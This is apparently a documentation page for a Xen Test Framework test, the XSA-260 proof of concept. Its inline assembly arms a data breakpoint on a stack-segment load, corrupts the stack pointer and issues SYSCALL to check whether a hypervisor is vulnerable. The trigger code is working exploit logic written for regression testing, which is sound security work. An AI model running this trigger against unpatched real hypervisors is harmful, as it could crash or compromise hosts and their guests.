Xen Test Framework
main.c
Go to the documentation of this file.
1
34#include <xtf.h>
35
36const char test_title[] = "XSA-260 PoC";
37
38static unsigned int __user_data user_ss = __USER_DS;
39
40static void undo_stack(struct cpu_regs *regs)
41{
42 /* This had better be a user frame, so ->_sp is safe in 32bit builds. */
43 if ( IS_DEFINED(CONFIG_32BIT) )
44 ASSERT((regs->cs & 3) == 3);
45
46 regs->_sp = regs->bx;
47}
48
49void do_syscall(struct cpu_regs *regs)
50{
51 printk(" Entered XTF via syscall\n");
52
53 undo_stack(regs);
54
55 if ( IS_DEFINED(CONFIG_32BIT) &&
56 regs->cs == 0xe023 && regs->_ss == 0xe02b )
57 {
58 xtf_warning("Warning: Fixing up Xen's 32bit syscall selector bug\n");
59 regs->cs = __USER_CS;
60 regs->_ss = __USER_DS;
61 }
62}
63
64static bool ex_check_UD(struct cpu_regs *regs, const struct extable_entry *ex)
65{
66 if ( regs->entry_vector == X86_EXC_UD )
67 {
68 printk(" Hit #UD for syscall (not vulnerable)\n");
69
70 undo_stack(regs);
71 regs->ip = ex->fixup;
72
73 return true;
74 }
75
76 return false;
77}
78
79static void __user_text user_syscall(void)
80{
81 asm volatile (/* Stash the stack pointer before clobbering it. */
82 "mov %%" _ASM_SP ", %%" _ASM_BX ";"
83
84 "btc $%c[bit], %%" _ASM_SP ";"
85 "mov %[ss], %%ss;"
86 "1: syscall; 2:"
87 _ASM_EXTABLE_HANDLER(1b, 2b, %P[hnd])
88 :
89 : [bit] "i" (BITS_PER_LONG - 1),
90 [ss] "m" (user_ss),
91 [hnd] "p" (ex_check_UD)
92#ifdef __x86_64__
93 : "rbx", "rcx", "r11"
94#else
95 : "ebx", "ecx", "edx"
96#endif
97 );
98}
99
101{
102 asm volatile (/* Stash the stack pointer before clobbering it. */
103 "mov %%" _ASM_SP ", %%" _ASM_BX ";"
104
105 /* Drop to a 32bit compat code segment. */
106 "push $%c[cs32];"
107 "push $1f;"
108 "lretq; 1:"
109 ".code32;"
110
111 /* Invert the top bit of the stack pointer. */
112 "btc $31, %%esp;"
113
114 /*
115 * Launch the attack. Manually encode the memory reference
116 * to prevent the toolchain trying to write out a
117 * rip-relative reference in 32bit code.
118 */
119 "mov (%k[ss_ptr]), %%ss;"
120 "1: syscall; 2:"
121 _ASM_EXTABLE_HANDLER(1b, 2b, %P[hnd])
122
123 /* Return to 64bit mode. */
124 "ljmpl $%c[cs64], $1f; 1:"
125 ".code64;"
126 :
127 : [cs32] "i" (__USER_CS32),
128 [ss_ptr] "R" (&user_ss),
129 [cs64] "i" (__USER_CS),
130 [hnd] "p" (ex_check_UD)
131#ifdef __x86_64__
132 : "rbx", "rcx", "r11"
133#else
134 : "ebx", "ecx", "edx"
135#endif
136 );
137}
138
139void test_main(void)
140{
141 unsigned int ss = read_ss();
142
143 write_dr0(_u(&ss));
144
145 unsigned long dr7 = DR7_SYM(0, L, G, RW, 32) | X86_DR7_LE | X86_DR7_GE;
146
147 /* Double %dr7 write to work around Xen's latching bug. */
148 write_dr7(dr7);
149 write_dr7(dr7);
150
151 exinfo_t fault = 0, exp = EXINFO_SYM(DB, 0);
152
153 /* Sanity check that breakpoints are working. */
154 asm volatile ("mov %[ss], %%ss; nop; 1:"
155 _ASM_EXTABLE_HANDLER(1b, 1b, %P[rec])
156 : "+a" (fault)
157 : [ss] "m" (ss), [rec] "p" (ex_record_fault_eax));
158
159 if ( fault != exp )
160 return xtf_error("Error checking breakpoint\n"
161 " Expected %#x %pe, got %#x %pe\n",
162 exp, _p(exp), fault, _p(fault));
163
164 /* Prime the user code for its exploit attempt. */
166
167 printk("Testing native syscall\n");
169
170 /* For 64bit guests, try a compat syscall as well. */
171 if ( IS_DEFINED(CONFIG_64BIT) )
172 {
173 printk("Testing compat syscall\n");
175 }
176
177 write_dr7(0);
178
179 xtf_success("Success: Not vulnerable to XSA-260\n");
180}
181
182/*
183 * Local variables:
184 * mode: C
185 * c-file-style: "BSD"
186 * c-basic-offset: 4
187 * tab-width: 4
188 * indent-tabs-mode: nil
189 * End:
190 */
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
#define _ASM_SP
Definition: asm_macros.h:37
#define _ASM_BX
Definition: asm_macros.h:36
static unsigned int read_ss(void)
Definition: lib.h:169
#define __user_text
Definition: compiler.h:33
#define __user_data
Definition: compiler.h:34
void printk(const char *fmt,...)
Definition: console.c:134
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38
#define ASSERT(cond)
Definition: lib.h:14
static void exec_user_void(void(*fn)(void))
Definition: lib.h:70
#define BITS_PER_LONG
Definition: limits.h:12
#define IS_DEFINED(x)
Evalute whether the CONFIG_ token x is defined.
Definition: macro_magic.h:67
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define X86_EXC_UD
Definition: processor.h:108
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_warning(const char *fmt,...)
Report a test warning.
Definition: report.c:52
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
Exception table entry.
Definition: extable.h:65
unsigned long fixup
Fixup address.
Definition: extable.h:67
static void write_dr0(unsigned long linear)
Definition: x86-dbg-reg.h:111
#define DR7_SYM(bp,...)
Create a partial %dr7 setting for a particular breakpoint based on mnemonics.
Definition: x86-dbg-reg.h:100
#define X86_DR7_LE
Definition: x86-dbg-reg.h:29
#define X86_DR7_GE
Definition: x86-dbg-reg.h:30
static void write_dr7(unsigned long val)
Definition: x86-dbg-reg.h:181
static bool ex_check_UD(struct cpu_regs *regs, const struct extable_entry *ex)
Definition: main.c:64
void do_syscall(struct cpu_regs *regs)
May be implemented by a guest to handle SYSCALL invocations.
Definition: main.c:49
static unsigned int user_ss
Definition: main.c:38
static void user_syscall(void)
Definition: main.c:79
static void user_syscall_compat(void)
Definition: main.c:100
static void undo_stack(struct cpu_regs *regs)
Definition: main.c:40